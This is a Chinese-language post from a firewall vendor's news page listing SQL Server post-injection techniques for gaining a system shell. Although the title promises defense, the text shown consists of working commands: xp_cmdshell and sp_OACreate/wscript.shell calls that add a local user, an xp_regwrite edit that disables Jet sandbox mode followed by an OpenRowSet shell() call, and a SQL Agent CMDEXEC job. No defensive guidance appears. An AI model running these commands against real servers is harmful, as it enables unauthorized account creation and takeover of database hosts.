English
 电子信箱
 加入收藏

  威盾防火墙 >> 新闻中心 >> 威盾新闻 >> [攻防手记]SQL Server注入大全及防御

 

[攻防手记]SQL Server注入大全及防御

威盾防火墙 2014-12-20

 

SQL Server是中小型网站广泛使用的数据库,由于功能强大也滋生了很多安全问题,国内又因为SQL注入攻击的很长一段时间流行,导致对SQL Server的入侵技巧也层出不穷,由于SQL Server支持多语句,相信很多小黑在对SQL Server进去SQL注入的时候很少使用猜解表名之类的方法,而直接转向使用SQL Server的存储过程和函数快速的拿权限,下面我就围绕SQL Server的系统存储过程和函数来介绍这些黑客技巧。

    一、执行系统命令

    利用存储过程我们可以快速方便的获取一个shell,如执行系统命令,存储扩展调用如下:

    exec master..xp_cmdshell 'net user ray ray /add'

    xp_cmdshell是SQL Server自带的系统命令存储过程,默认情况下只有SYSADMIN服务器角色才能执行。



    利用OLE对象接口,SQL SERVER提供了一些函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,可以利用他们调用OLE控件,间接获取一个shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属性run执行命令。

    DECLARE @shell INT 
    EXEC SP_OAcreate 'wscript.shell',@shell out 
    EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add'

 


    开启access的沙盒模式,在默认情况下Jet数据引擎不支持select shell("net user ray ray /add")这样的SQL语句,但是开启了JET引擎的沙盒模式后就可以执行命令,先利用xp_regwrite存储过程改写注册表,然后利用OpenRowSet访问一个系统本身自带的一个ACCESS数据库文件,再执行运行命令的SQL语句。

    EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0    \Engines','SandBoxMode','REG_DWORD',0

 


    Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user ray ray /add")'); 
 


    除开这些,还可以利用SQL代理执行命令,当然必须先开启SQL代理服务,默认情况下这个服务是关闭的.我们可以先利用xp_servicecontrol开启SQLSERVERAGENT,然后建立个SQL计划任务,然后马上运行这个任务。

    exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
    use msdb exec sp_delete_job null,'x' 
    exec sp_add_job 'x' 
    exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:\' 
    exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x'


相关内容: 最新内容:
SQL注入攻击的网络分析及防御方法[2014-12-20]
奇淫绝技:Mysql报错注入利用总结分享[2014-12-20]
SQL注入攻击防御深层思考[2014-12-20]
从网站SQL注入到深入入侵渗透过程[2014-12-20]
SQL注入防御:用三种策略应对SQL注入攻击[2014-12-20]
手动mysql 高级注入实例分析[2014-12-20]
阻击黑客利用第三方软件漏洞发起的攻击[2014-12-20]
我的服务器昨天被人入侵了,怎样防范服务器入侵?[2014-12-20]
SQL注入攻击的网络分析及防御方法[2014-12-20]
奇淫绝技:Mysql报错注入利用总结分享[2014-12-20]
SQL注入攻击防御深层思考[2014-12-20]
从网站SQL注入到深入入侵渗透过程[2014-12-20]